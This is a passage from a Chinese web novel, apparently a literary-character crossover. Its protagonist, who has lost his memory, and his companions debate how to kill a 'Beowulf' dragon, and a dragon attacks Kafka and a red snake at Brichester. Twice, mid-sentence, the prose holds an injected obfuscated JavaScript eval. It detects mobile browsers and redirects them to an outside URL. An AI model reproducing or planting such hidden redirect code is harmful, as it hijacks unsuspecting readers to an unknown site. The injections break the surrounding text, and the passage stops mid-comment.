夏章雾并不觉得对方是在说谎,这种谎言毫无必要。但到底是什么令结果产生了不同?是未来他杀死的龙都不是文学负面体吗?还是那家伙根本没有看到过他和龙战斗的景象,那个“可以用物理方式杀死龙”的说法只是猜测? 阿加莎也明显在想这些事。 作为钟塔侍从的骑士长,她虽然受限于年龄问题,没有接触过太多的文学负面体,但前辈们的事例却是知道的很多。论起对付这种存在的经验,她说不定比夏章雾还要丰富。 “所以当时他到底是怎么杀死那些龙的?” 她问费奥多尔,完全没有考虑某位在这件事上毫无发言权的当事人:“还有,你是亲眼看到那些龙被他杀死的吗?” 费奥多尔歪了下头。 “亲眼看到的话,有二十七次吧。”他露出稍微有点回忆的神情,“杀死龙的方法,其实就是很简单的冷兵器。” 这个回答相当合情合理。 毕竟热武器的诞生和普及还是在现代后的事情,而且民用武器的口径和当量显然都不足以对抗巨龙。真的要在过去对付龙,刀剑类的冷兵器显然是相当好的选择。 唯一的问题就是…… “也就是说,我们需要再不用热武器,也不使用异能,在只使用冷兵器,说不定还必须得在单挑的情况下把体长有百米的龙杀掉?” 阿加莎·克里斯蒂总结了一遍,只觉得自己都要被这种荒谬的条件给气笑了:“这像是人能做到的事情吗?” 想要在海上杀死蓝鲸,人类都不得不使用捕鲸炮这样的热武器,更不用说能够在天空中自由飞翔、甚至还能使用火焰攻击的百米巨龙。 ——不对,也不是所有人都做不到。 她看向满脸无辜和迷茫的夏章雾,湛蓝色的双眸眯起,以相当严厉的审视目光打量着面前的人类,似乎正在思考这家伙凭什么能用冷兵器杀死三十四条龙。 但不管怎么想都想不通。 在这样巨大的差距下,使用冷兵器的普通人类百分之百地没有任何战胜机会。就像是普通人类绝对打不过灭绝武器一样。 “总不会是用了什么特殊的武器吧?” 这位骑士长嘟哝道,思路逐渐向某位喜欢研究怪力乱神的伦敦侦探靠拢:“像是亚瑟王的石中剑这样的东西……” 喂喂喂,怎么连石中剑都出来了!我要是真的会用石中剑,早就去继承王位了好吗? 夏章雾连忙咳嗽一声,迅速地打断了对方没有根据的猜想。他总觉得要是这样猜下去,事情的发展会变得更加离谱。 “别看我,我不知道,我失忆了。”他毫不犹豫地把锅丢给了在场的另一个成年人,“问他。” 费奥多尔对此倒是没什么意见。或者说他早就习惯类似的情况了。 倒是旁边的那三只未成年崽子彼此嘀咕了几句“所以勒托先生真失忆了啊”“你看大叔平时记不住费奥多尔先生名字不就能看出来了吗”“所以失忆后还会有健忘的后遗症吗”这样的话。 对此,夏章雾只是默默地在心里的小本子上记了几笔仇,然后等他转过头时,就看到了费奥多尔脸上绝对可以说是微妙的笑容。 不需要更多的言语,见多识广的人类学教授瞬间警觉了起来,用圆溜溜的金棕色眼睛警惕地看着对方。 ——他现在有一种不祥的预感:这家伙该不会接下来要坑他一次吧? 然而费奥多尔只是淡淡地笑了笑。 “具体的武器还挺令人印象深刻的,应该可以被算进剑的范畴。”他说,“但实际上只是一柄插着铁片的木柄罢了。不过就我所看到的而言,它确实轻而易举地刺入了龙的身体。” 插着铁片的木柄?刺入龙? “原来如此,竟然用非常普通的武器完成了这样的奇迹。”织田作之助思考了几秒,然后不由自主地发出了真诚的感慨,“勒托先生真的很厉害啊。” 这句话是发自内心的。 毕竟他作为前任杀手,很清楚这种敌人到底有多可怕。如果没有大威力武器,绝对是就算有异能辅助也无从下手的程度。而夏章雾能够用一柄破破烂烂的剑杀死龙,确实可以算得上是大师级别的存在。 不过语气实在是太认真了些,夏章雾听得眼角都不受控制地跳了跳,然后果断选择谨慎地、小心翼翼地往后退—— 没成功。 因为他被已经有点炸毛的阿加莎·克里斯蒂小姐给成功地抓住了。 “说这些全都没有用,我才不信你当时屠龙时用的是普通的武器!普通的剑怎么可能那么轻而易举地伤害龙,而且我才不会相信你这样的笨蛋能够做到冷兵器屠龙这种不可思议的事!” 此时的阿加莎小姐颇有几分五年前比赛结束时气鼓鼓地上门找某个伦敦侦探要说法气势,那对蓝眼睛怒气冲冲地瞪着面前的人,抓着夏章雾的肩膀就是一阵剧烈地摇晃:“快点告诉我,你当时拿的那把剑现在到底去哪里了!我要用那把剑亲自去找那条龙的麻烦!” “唔诶诶诶?” 夏章雾猝不及防下被摇得眼前一黑,突然明白了曾经被这位骑士长拽着衣领摇晃了整整半小时的柯南·道尔到底遭遇了什么。 而阿加莎还在持之以恒地大力摇晃:“快给我说出来——” “我不知道啊,我都说我失忆了!” 被晃得昏头昏脑的夏章雾终于受不了了,直接发出悲愤的声音:“就算是你再晃我,我也没办法想起来的!而且喊人笨蛋这个习惯你是从道尔那里学来的吧,这种事不要随便传染啊!” “勒托先生说得没错。” 费奥多尔不动声色地伸手拉了夏章雾一把,将他从钟塔侍从骑士长的手中拯救了出来,用温和的语气说:“而且如果用这种方法就能让他恢复记忆的话,我早就采取类似的措施了,克里斯蒂女士。” “?” 好不容易才逃出苦海的夏章雾已经不想对此发表什么见解了,反正他现在的想法就是自己身边的这两个成年人都多少有点不正常,于是干脆往未成年人吃瓜看戏的地方躲了躲。 不过这些未成年人明显也不是省油的灯。 “所以说克里斯蒂小姐为什么不直接让大叔去见龙呢?感觉完全无视了这种考虑的样子。” 太宰治托着下巴,用天真的语气问道:“之前那条龙也说了只接受大叔作为对手,而且大叔以前还杀死过不少龙,不用太担心。说不定他到时候被龙追杀得飞来飞去,直接就在紧急关头恢复记忆了——动画都是这么表演的哦?” 这个问题很好。 本来因为夏章雾说的有关柯南·道尔言论而被气得脸颊绯红、支支吾吾说不出半个字的克里斯蒂女士愣了一下。 “谁叫这家伙已经失忆了啊。” 她此时的用语也没那么礼貌了,瞬间就变得不客气了起来:“不管过去有多厉害,他现在怎么看都是个没什么杀伤性的家伙,而且绝对打不过用了异能的我。否则我早就把他抓到钟塔侍从里进行登记了。” 夏章雾默默地挪开视线。 哈哈,作为一个平平无奇的普通人,靠单纯的武力值打不过你们这些超越者机制怪还真是抱歉了啊。 “而且那条龙只要他过去,肯定有着什么不可告人的秘密。OOL绝对不是什么只会送死的傻瓜,既然不知道它的目的,那就更不能随便就顺了它的意。” 阿加莎皱着眉继续说道,清脆的声音此时显得格外严厉:“更何况,那条龙的行为无疑是严重挑衅。它提出的条件几乎相当于交出一个人来换取和平……这样的事情如果答应了,那钟塔侍从和皇室还有什么脸面?” 这位自从上任后面对的局势就一直不太顺利的年轻骑士长抿了下嘴唇,但是说出的话却显得掷地有声: “我们还有什么资格自称为地球最强大的国度和最强大的异能机构?什么样强大的国度需要通过出卖子民来换取和平?日不落帝国的骄傲不允许这种事发生,我也不会允许钟塔侍从在我这一届发生这样丢脸的事!” 这是贵族的骄傲,也是贵族的责任。 不过克里斯蒂的这副架势还没有持续几秒,就被旁边三个未成年人发出的不明所以或者假装不明所以的“哇哦”声给打断了。 “嗯嗯,总之理由差不多就是这样!”她大声说道,然后赶紧转移了话题,“费奥多尔先生的想法是什么样的呢?” 费奥多尔的脸上依旧保持着微笑,闻言轻轻地偏了下头:“嗯,我吗?” 他说:“我不接受人们用大义的名义要求勒托先生去见那条龙。但如果去见龙是勒托先生自己做出的选择,我并不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702934|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阻拦。” 说这句话时他一直在看着夏章雾。 夏章雾被他看得浑身都别扭和毛骨悚然了起来,然后他就想到了面前的这家伙就是之前跟在自己身边的D,于是加倍地毛骨悚然起来。 于是夏章雾也飞快地转移了话题。 “哈哈,不过说到这里,阿加莎其实肯定也有原因是舍不得我啦。毕竟我做了那么多年柯南·道尔的助手,也算是看着小阿加莎长大的。” 他赶紧摸了摸下巴,用怀念不已的唏嘘语气说道:“当年十三岁的阿加莎还是个小不点,想拽着柯南·道尔衣领都要使劲垫着脚。现在一转眼就这么大了,真是岁月如梭……” 不过克里斯蒂明显不太认同这个说法。 “喂,不要这么自作多情好不好!”她立刻大声喊道,“谁会舍不得你们侦探社的人啊,有一个算一个都是超级不要脸的混蛋!” 接着是费奥多尔提醒的声音: “克里斯蒂女士,冷静一点。说话就好好地说话,不要冲上来拽着人。” …… 总之,在这场闹剧的最后,他们还是得到了一个可以立刻去实施的议程:先用普通犯罪分子的生命去试探,看看冷兵器是不是真的能够对龙制造足够的伤害。 不过具体的结果要等到明天再说。因为阿加莎表示她还需要回钟塔侍从走一遍审批和提取犯人的流程。 “不过,还是有事情没有解决啊……” 当天的夜晚,已经把红蛇赶回去帮卡夫卡批作业的夏章雾坐在椅子上,按了按眉心,看着笔记本,有些头疼地自言自语道。 笔记本上读者提供的各种三次元资料已经被他早早地标注出来了。 「两袖清风: 抱歉,我没读过贝奥武夫,对文学了解也不深,说错了很抱歉。首先,从前文作者写的大纲中OOL的设定有名称(书名,本卷应该为贝奥武夫),塔罗象征,怪物类型,现世形象,守则和解决方案。每卷分别有怪物主题,文学主题和塔罗主题。杀死OOL的方法肯定与三个主题都有关系……」 「阴暗社畜A: ……《贝奥武夫》是一部具有重要历史和文学价值的盎格鲁-撒克逊英雄史诗,创作时间无确切记载,背景设定在6世纪的斯堪的纳维亚异教世界,融入了基督教元素,于10世纪末至11世纪早期被记录在现存唯一的中世纪手稿中,藏于大英博物馆……」 「阴暗社畜A: ……《贝奥武夫》“集中展现并歌颂了日耳曼民族的传统英雄价值观:力量、勇气、忠诚、慷慨、好客和强烈的荣誉观等”,再结合龙要求“派出足够配得上它的屠龙者”,也许杀死它的人必须要是拥有这些品格的英雄才可以(但感觉完全和账务搭不上边啊)」 「玧末: 战车逆位是塔罗牌中的一张具有警示意义的牌,它象征着缺乏控制、方向不明或无法有效应对外部挑战。以下是关于战车逆位在不同方面的解读……」 都非常有用和非常有建设性。但似乎没有办法用来解释那条龙身上的种种不正常现象。以及白天虽然在场的人都没有说,但他们彼此心里都知道的另外一个巨大难题。 ——为什么龙会一次又一次地出现?为什么它能以不同龙的形式存在? 如果未来他杀死的龙都是文学负面体、或者更甚一步,都是名为“贝奥武夫”的单独个体,那到底是什么原因造成了这种现象。 如果没有解决这个问题,就算是他们现在真的能将龙杀死,未来它也肯定会卷土重来。 而且,夏章雾还有一层更深的担忧。 对于这里的其他人而言,发生在过去的事情只不过是早就发生了的过去。过去的“勒托”没能真正意义上地杀死龙,并不代表现在的“夏章雾”无法做到。 但对于自己而言,所谓的过去才是未来。 如果就连未来的他都没能阻止龙在历史中接二连三的出现,那么现在的他真的能够做到彻底地杀死龙,杀死这个文学负面体吗? 夏章雾不知道。 作者曾经所说的“过去无法被改变”的话依旧还在他的耳边回响,但他只是闭着眼睛思考了一会儿,然后在笔记本上写下了对读者的请求。 「我希望能够寻找到一些《贝奥武夫》和龙关系的资料。拜托了,谢谢。」 之前读者虽然也给出了三次元《贝奥武夫》的时代背景与剧情简介,还给出了不少看法,但夏章雾始终都没有寻找到自己想要的内容。 这本书和龙到底有什么样的联系?为什么这个文学负面体能以不同龙的现象现身? 夏章雾看着这段话,呼出一口气,把笔记本重新合上,打算等到明天起来时再看看读者到底给出了怎样的回复。 这次或许是他遇到过的最大的麻烦。 但作为主角,他和自己的读者也绝对不会认输就是了。 99.你见过凌晨四点的布利切斯特吗 凌晨四点钟,布利切斯特大学的卡夫卡正在录入最后一位人类学学生的成绩单。他看着上面一连串不及格的数字,叹了口气。 以及格分飘过的人寥寥无几,绝大多数人的成绩用惨不忍睹都不太方便形容。 他现在只觉得自己突然有些明白了人类学专业的低毕业率到底是怎么一回事:绝对不单单是学生死亡比例更高的问题,也有很重要的一部分在于学生们是在反反复复的留级。 卡夫卡不忍直视地摇了摇头,关掉了电脑。 他现在对于这些人类学专业学生的未来很悲观,仿佛已经看到了他们被夏章雾一个卖到美国的有效去当医学素材的未来。 “你说他们能在三年后成功毕业吗?” 处理完工作后,他有些唏嘘地问了自己身边的蛇。 虽然并没有一起工作很久,但是他们两个在这短暂的时间里相处得还算融洽,卡夫卡也不觉得人类学多了这么一个会说话的蛇助教有什么问题——这可能就是帮夏章雾工作的人与蛇之间的惺惺相惜吧。 不过还有一个原因,就是人类学专业的人出门做完田野考察总会带着点稀罕东西回来:从长着鹿角的兔子到浑身霹雳啪啦冒着电光的鸟,某次还直接抓了只活生生的美人鱼。 相比起来,一只很会做学问和说话的蛇似乎也不是什么特别离谱的东西,不值得布利切斯特大学的任何人大惊小怪。 而那条已经当上了助教的红色小蛇正在用尾巴举着咖啡杯往嘴里猛灌,闻言停下了动作,凝重地歪着脑袋思考了一会儿。 “其实也没有那么糟糕,他们其实看上去还蛮聪明的,就是没有把自己的聪明才智发挥在正常的途径上。主要还是勒托在面对这群小兔崽子是脾气太好了。” 它认真地说:“如果他在学期开始时就表明所有不及格的学生都会被丢去赛文河谷填河,并把上次考试最烂的那个直接丢进河里,那肯定每个人都能考出高分。” 卡夫卡恍然大悟地点了点头。 “原来是这样。”他也开始喝咖啡,“所以只要献祭一个学生就行……呃,等一下。” 法律学教授突然意识到了不太对劲。 “这不太对吧?”他说,“这肯定违法的吧?” 蛇也一本正经地点了点头。 “是啊。不过请务必放心,我这些年来也是对法律有所研究。” 它说:“虽然在十九世纪前,动物犯罪也会被告上法庭,但目前英国法律限制的范围还仅局限于人类,所以如果这件事由我来做,其实是不违法的。明年我就打算申请在专业内部实行这一项措施……” 现在听上去好像对了一点,但这真的对吗? 卡夫卡按着额角。在听完这一番歪理后,他只觉得自己本来就因为熬夜而在隐隐作痛的头变得更痛了。 “你们研究人类学的都是这个样子吗?整天脑子里想的就是怎么把人类解决?” 他忍不住这么问。虽然总有人说法律学到最后会丧失良心,但卡夫卡现在觉得人类学在这个问题上要严重得多:“不过你在这方面比夏章雾还要极端,至少他不太能做出实践……” 要是夏章雾真的会像他口中那样把那群学生制作成医疗材料,也不至于有这么多学生能大着胆子交出一份不及格的答卷,就算是朝死里复习也肯定要混个及格。 蛇“嗯哼”了一声。 “这也没办法。就算他是个混蛋,但我要是在这方面连那个翅膀都算不上纯黑的家伙都比不过,也太给这个身份丢脸了。”它说。 身份,什么样的身份? 还有翅膀都算不上纯黑是什么意思? 卡夫卡有些迷茫地看着这条蛇。而蛇则是狡诈地眨了两下眼睛,故意没有继续这个话题说下去,而是用尾巴卷着咖啡杯喝了起来。 于是他也不再继续追究,而是看了眼手机上面显示的时间。 凌晨四点。 算了,还是赶紧回去休息吧,免得又像是之前那样因为过度劳累直接昏过去。 卡夫卡把桌面上的资料收拾好,打算先回教师宿舍睡一觉。走之前,卡夫卡还专门问了下还在喝咖啡的蛇。 “你要回去休息吗?”他问,“如果打算回去的话,我们就一起走,我直接把门锁上。” 蛇把空杯子放下,无所谓地摆了摆尾巴。 “没事,我不太需要睡觉。钥匙给我就行。” 于是卡夫卡点了点头,也没有劝说,而是直接把口袋里的钥匙递给了蛇,拎着公文包走出了办公室。 推开门。 迎面而来的是冰冷的空气,还有远方不知什么生物发出的略带诡异气息的声音,连带着树木发出的细微声响都带上了几分恐怖故事的气氛。 凌晨四点钟的布利切斯特大学笼罩在暗潮涌动的夜色里。卡夫卡站了片刻,等到自己的大脑被凉风吹得稍微清醒了一点,这才走下楼梯,顺着平时的道路前往教师宿舍。 在下楼后,周围就变得安静了起来。 安静到有点不太正常,让卡夫卡教授忍不住想起了布利切斯特大学或者布利切斯特小镇里流传了十几年的各种稀奇古怪传说,脑子里不由自主地开始循环播放各种恐怖电影的桥段。 “真奇怪。他们不是说那条被关在人类学实验室那里的美人鱼每天深夜到凌晨都会接连不断地发出特别凄厉的声音吗?” 第一次在布利切斯特熬夜熬到凌晨四点钟的卡夫卡有些紧张地嘟哝了一句,然后抬头看了眼天空。 今晚的云层很重,没有星体的光线落下。 除了路灯还在亮着,四周几乎没有任何形式的光源,强烈的昏暗感更进一步地加强了那种令人脊背发凉的不安。 而这种不安,在肩头传来冰冷触感时便达到了顶峰。卡夫卡只感觉头皮一阵发麻,然后毫不犹豫地使用了自己的异能。 “哇额呃呃呃!” 一阵夸张的怪叫响起。 紧接着,那道红色的影子瞬间出现在他的面前。体型变大了不知道多少倍的红蛇竖着浑身的鳞片,正宛如火焰的蛇瞳郁闷地盯着他。 “我说你冷静一点啊,别用异能力拦蛇!” 虽然已经盘起了身子,但它竖起上半身的样子还是比现在的卡夫卡高出了一大截。它就这样大声地抱怨着:“你知不知道,我刚刚差点把自己现在的这个脑袋给撞歪了?” 现在的这个脑袋? 卡夫卡扯了扯嘴角,总感觉自己似乎是知道了什么了不得的秘密。他现在已经开始怀疑这条蛇会不会是传说中的什么九头蛇许德拉了。 不过红蛇也只是随口说了一句而已。它的表情很快就变得严肃起来——虽然卡夫卡也不知道自己到底是通过什么方式来判断一条蛇脸上的神态的。 “言归正传,你快点回去。”蛇说,“我能感觉到,有非常危险的存在正在靠近这里。” “所以是什么生物?” 虽然还是有些紧张,但在看到这条似乎知道情况的蛇后,卡夫卡反而没有之前独处胡思乱想时那么心惊胆战了。他直截了当地说:“你也看到我的异能了,如果不是精神方面的攻击,对我都没有效果。” 蛇冷冷地看向天空。 “不是生物。我能感觉到它没有灵魂,也不是上帝的造物。它更像一种力量,卑鄙而又污秽的偷盗者……不过如果你的异能效果真的是这个样子,你留在现场应该不会出什么事。” 它扭过头,突然问道:“不过你知道OOL这种东西的存在吗?” OOL? “不知道,是一个词组的缩写吗?” 卡夫卡回忆了一下,皱着眉回答。 “哦,看来勒托那家伙没有和你说过,应该是不想让你牵扯进来。但现在你已经是麻烦的一部分了。” 蛇吐了下信子,发出一声嘟哝,眼睛却依旧凝视着天空的某个方向。 “简而言之,你可以理解为它描述的是一种具有智慧且活化了的力量,因为它们的存在就是对人类制造麻烦,所以必须被杀死。尽管我不赞同这个说法,但官方定义确实是这样的。” 卡夫卡眉毛已经皱得更深了。 “夏章雾和你们……”他说。 “是的,他之所以会和我们这些乱七八糟的家伙认识,全是因为OOL的存在。” 蛇快速地抢答,然后腾起身子往上飞去,并且大声说道: “现在,那家伙已经来了——” 卡夫卡下意识地抬头看去。他以前也看过红蛇飞起来的样子。但那时它只有小小的一条,顶着咖啡杯或者文件飞来飞去的样子就像是灵活的红色丝线。而现在,这条有数米长、甚至仍在放大身形的蛇飞翔姿态更像是…… 龙? “使用你的异能,人类!”蛇说。 于是卡夫卡毫不犹豫地再次启动了自己的异能。在下一秒,火焰便如同雨一样纷纷从天空中落下,明亮的火光骤然照亮了周围的细节。 温度在熊熊燃烧的火中骤然升高,就连呼吸进来的空气都带着滚烫的热量。人类不得不眯起双眼,适应着光线瞬间的转变,同时朝着上方火雨降临的方向看去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708398|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他只看到了那在黑夜中显得格外巨大和又宽阔的翅膀,卷动着满天的火星,然后轮廓转眼间就被火浪淹没。 “那是龙吗?” 卡夫卡举起手臂,挡住过多的光线,眯着眼睛大声问道。 “不,是可鄙的窃名者!” 回答他的是蛇似乎变得更加愤怒的声音。 “而你,不过是个失败者。” 从容而又戏谑的另一个声音从被映照得绯红的云上响起。巨大的龙头扯开云雾,金色的眼睛俯视着那条愤怒的蛇。 它不屑地从鼻子中喷出火焰:“摆出这样张牙舞爪的气势,莫非你觉得你能杀死我?瞧瞧你现在的模样,还有几个人能够认出你,说出你的名字?” 红蛇发出仿佛被冒犯的愤怒吼声。 它赤红的身躯毫无畏惧地穿过瓢泼大雨般降下的火焰,它的脊背上双翼撕裂鳞片生长而出,头顶仿佛荆棘冠那样复杂盘绕的尖角在硫磺的气味当中成型,新生的利爪仿佛撕裂绸缎那样撕裂正在吞没周遭一切的大火。 两条龙就这样在天空中扭打成了一团。 火焰、零星的鳞片与滚烫的火焰从天空中接二连三地洒落。 卡夫卡在地面上努力尝试看清那两条龙在空中的战斗,最后的除了一个相当不妙的结论:红蛇几乎完全就是在被压着打。 于是他干脆拿出了手机。 既然他在这个时候帮不上什么忙,那就应该通知一下能够在这里起作用的人。比如说看样子比较能处理这件事情的钟塔侍从,或者和钟塔侍从很熟的夏章雾…… 而就在这一刻,天空中的战斗结束了。红蛇被龙尾狠狠地拍中,跌落到了沸腾的火海当中。而依旧飞在天上的巨龙则是发出轻蔑的笑声。 “你能用什么来杀死我,你这从来都没有成功过的丑角?”它嘲讽道,“去嚼你的苦灰去吧,去滚回你该待着的地面,去地狱被锁着吧,愚蠢的蛇。你有什么自称为龙的资格?” 这么快就结束了? 卡夫卡短暂地愣了一下,跑到蛇的身边,确认对方还活着,而且还在很有活力地骂骂咧咧后才勉强放下了心。 而天空中飞翔着的龙也落了下来,用居高临下的目光注视着面前渺小的人类。 “你认识勒托。而且你们关系还算不错,否则它不会把那条蛇交给你。” 它用傲慢而又平淡的语气点评道:“还真是有趣的事情。我之前可没在他身边看到过那个黑发红眼的人类之外的人。” 卡夫卡握紧了手机,抬头毫不畏惧地注视着眼前的巨龙。 “你和夏章雾到底是什么关系?” 他这样询问道。 龙轻轻地笑起来。 “我?我是龙,他是屠龙者。他注定要来杀死龙,我注定要和他战斗。” 它拨弄着爪子,漫不经心地说道:“本来我们还约好了,不过这次他好像没记起来。不过这也没办法,谁叫他的记性总是出问题。所以我们的关系只能从头开始了。” 从头开始…… 还没等到卡夫卡明白这句话的意思,属于龙类尖锐的爪子就朝他按了下来。 但这个攻击只是在他面前不远的地方速度突然开始急剧地变缓,最后几乎是凝固在了半空当中,无限趋近于停下的姿势,仿佛这段并不远的距离永远都无法走到尽头。 巨大的龙眼凑近了他,像是看出了他内心的想法。 “从头开始的意思,是从屠龙者与龙最初的故事开始,从英雄和被他所杀死的恶龙开始——呵,不得不说,你这种能够把空间拉长至接近无限的异能还真是有趣。” 龙的眼睛眯起,似乎有些遗憾:“可惜,我无法杀死你。否则你要是死在我的手里,他大概会放下所有的顾虑,来追杀我吧?” 事实上,光是把夏章雾的学校和房子烧成灰的事情,就已经足够让某个连五十英镑的仇都能念念不忘的人类学教授追杀你一辈子了。 卡夫卡默默地想,同时把手机关机。 他明白了对方的目的。 但他也不会轻易地让这个目的实现:布利切斯特发生的事情没必要让夏章雾知道,那只会干扰他的判断。 “不过,也不是没有别的方法。” 龙紧接着缓缓地说出了下一句话,它再次张开翅膀,裹挟着着满天的火焰飞向天空:“只要我把这些事闹得足够大,闹到人类们都知道只有他才能解决问题,闹到人类开始逼迫着他踏上这个战场——那么他一定会来的。” 他一定会来。 因为英雄皆是这般。 100.呱,作者想看的就是这个 这一天是伦敦难得的大晴天。 早上起来,夏章雾在确认自己没有收到任何人的消息后,就带着三个未成年崽子去了酒店的豪华早餐自助。 那几个从来没有见过这种豪华阵仗的孩子的注意力几乎瞬间就被巨大的巧克力喷泉吸引了。然后他们便在大人的默许下溜去了自助区深处,好奇地去找有没有什么自己想吃的东西。 夏章雾则是惯例地要了一份爱尔兰风格的英式早餐,然后一边喝着橙汁,一边打开了自己的笔记本,打算看看读者们到底给他准备了什么样的惊喜或者惊吓。 「Audience: 费佳亲知道故事里的事情,我们知道故事外的事情,但换个角度想,我们的时间随着您的视角进行,那么只要解决OOL时旁边有费佳,理论来讲可以让他告诉您未来我们在过去告诉您的情报。真可惜,我们隔着次元壁,时间虽然和您的视角走,却是独立的一条线。」 ——通过他人的转告,来提前得知有关于未来信息的情报吗? “唔,这个思路倒是不错,可以尝试。” 夏章雾看着这篇评论,皱着眉喝了口橙汁,含糊不清地嘟哝道:“不过这样一来,我不就是没有摆脱那家伙的理由了吗?” 毕竟能胜任这个信息转告的任务、从遥远的过去活到现在的也只有费奥利奥一个人。也就是说,如果他想要这么做,必须要在过去主动找到对方才行。 总得来说,这个方案有利有弊,需要慎重。 他叉起一根烤肠丢嘴里,翻了一页。 「暮川夜: 嗯哼,账务要小心呀?毕竟你可是很招龙的喜爱的~龙是英雄贝奥武夫一生中最后的也是最致命的对手。好的,一句话概括:年迈的贝奥武夫国王为拯救被喷火巨龙摧毁家园的子民,与龙展开生死决战,最终虽杀死巨龙,但自己也因重伤牺牲,同归于尽……」 依旧是有关于《贝奥武夫》的评论。 “作为英雄的对手,原著中的龙杀死了英雄也被英雄所杀死。嗯……说起来,之前的文学负面体最初都有自己的目标群体。人间失格针对迷茫失意的绝望群体,爱丽丝漫游奇境及镜中奇遇针对孩子,冰雪女王也是一样。” 夏章雾闭上眼睛,思考了几秒:“所以,这次贝奥武夫的目标会是英雄吗?” 考虑到龙之前一直在寻找自己和逼迫自己出现,或许事实就是这样。 但“贝奥武夫”到底会用什么样的方式来针对英雄?直接杀死?对于文学负面体来说会不会太简单了?还是它消灭英雄的方式,是通过那个著名的、衔尾蛇般的“屠龙者终成恶龙”的命运? 不清楚,不知道。 龙的出现太过突然,也太过奇怪,根本就没有更多的信息可以去推测。更何况,对方现在的目标已经完全集中在了自己身上,他总不能拿自己去试试对方的本领。 “总之,再继续看看吧。” 夏章雾自言自语着,再翻过一页。 这次依旧是熟悉的人。 「阴暗社畜A: ……关于龙能以不同“龙”的身份不断出现的原因,因为《贝奥武夫》是英语文学中现存最古老的篇章之一,为后世文学创作提供了丰富的素材和典范,对英国乃至世界文学的发展产生了深远影响。且经查询,《贝奥武夫》中的龙是世界上最早出现的“恶龙”之一哦。所以它能借用“受其影响而诞生的著作”中的龙的身份而出现也不是不可能……」 「玧末: ……有一点很有意思的是,似乎龙的形象是从这个作品开始的?在后来的演变中被认为是强大而邪恶,西方龙的外形也是逐渐从蛇到有蜥蜴特征和翅膀的生物……」 ——最早出现的恶龙之一,现代西方龙经典形象的起源? 夏章雾摸了摸下巴。 “的确,这样就能解释清它为什么能够以各种龙的模样出现了。” 他尝试整理起自己的思路:“虽然过去我杀死的那三十多条龙里面有并非是现代西方龙形象的存在,但这不重要。因为文学负面体并不是客观的东西,而是主观意识的产物。” 文学负面体是因读者的感官而诞生的存在。也就是说,如果它能够成为读者们心中龙类印象的代表,那么这个文学负面体自然能以所有种类龙的形象现身。 “也就是说,那家伙是所有的龙。” 夏章雾把煎蛋也丢嘴里,在意识到自己未来杀的龙都是同一个文学负面体后,他反而皱起了眉:“那么最简单的彻底杀死它的方法……” “就是把人类历史中所有出现的龙全都杀掉一次。”作者善解人意地说。 夏章雾:“……” “会累死的吧。”他幽幽地开口,“人类历史上制造的龙至少也有三位数了。” “那还用说,肯定会累死的。如果算上网络小说的话,你杀死龙的速度甚至可能还不如三流网络厕纸写手制造的快。” 作者用欢快的语气回答:“所以还是有更简单的办法的,放心吧。” 有你在,完全放不下心啊…… 夏章雾虚起眼睛,但最后还是老老实实地继续看起了读者的评论:反正作者的想法他也改变不了,还不如去做点更加实际的事情。 「ccc: 《贝奥武夫》是古英语文学中最著名的史诗之一,创作于约公元8世纪至11世纪之间,讲述了贝奥武夫的三次伟大战斗……贝奥武夫与龙的故事不仅是英雄的谢幕,也是对凡人必死性的深刻沉思。它融合了异教英雄传统与中世纪基督教价值观,成为西方文学中永恒的史诗范本。」 「平芜尽处是春山: 这本书的名字就是主人公,和龙的关系就是敌对的吧,弱点是腹部。查到了一句话“从宗教信仰相信神的力量,开始转向对人的英雄主义的推崇”。主人公导致自己失败死亡的问题也是在于自身。」 这两个都是读者中比较少见的论调。 夏章雾想了想,最后还是将之记了下来,然后继续看接下来的评论,并从中发现了某个在评论区打着自己名字招摇撞骗的读者,其言行无一不是在对自己的名誉进行造谣污蔑。 不过算了,他们高兴就好。反正这种名誉污蔑又影响不到自己。 对三次元的心态日渐包容的夏章雾淡定地又翻过一页,一边看一边解决着自己剩下的餐点。 「liar 七零八碎: 评论区各位老师已经将基础的史诗情节和背景介绍说完了,我这边单独放一些并不靠谱的自己的猜测。龙目前做出的行为,基本上都是在挑衅您。根据他的所有谈话,他似乎对此有某一种执念:龙与屠龙者之间必然的史诗故事关系。这给我的感觉更像是一个舞台。舞台需要龙,所以就会有龙反复出现……」 “嗯嗯,很有道理。而且我总感觉未来的我和这条龙达成了某种双向选择的默契。” 夏章雾咬着叉子,含含糊糊地抱怨:“要是我没猜错,假如我并不存在,这条龙大概会在每个时代寻找出杀死它的英雄。但现在它明显就是盯上我了,打算让我一直当它的屠龙者。” 这里面有好也有坏。 毕竟那条龙现在主要是冲着他来的,这几天造成的伤亡虽然也不小,但至少比其他刚出现就能闹出大乱子的文学负面体好很多。 有些轻松地这么想着,夏章雾靠在椅子上,捧着书继续看了下去。 然后他脸上微笑着的表情就凝固了。 「Alice: 人类的救世主哟~您的好友,卡夫卡教授已知晓“OOL”的概念,而该OOL攻击他不成便与他交谈过。以及您的助教,那条红蛇其实也是一条龙。」 「阴暗社畜A: 我还以为是伊甸园之蛇。账务,蛇也是龙。这里是AAA前线记者,插播一条重要新闻:卡夫卡出事了,账务。那条龙大概率和你有约定,或者说,这是一种宿命……」 「燕华礼: 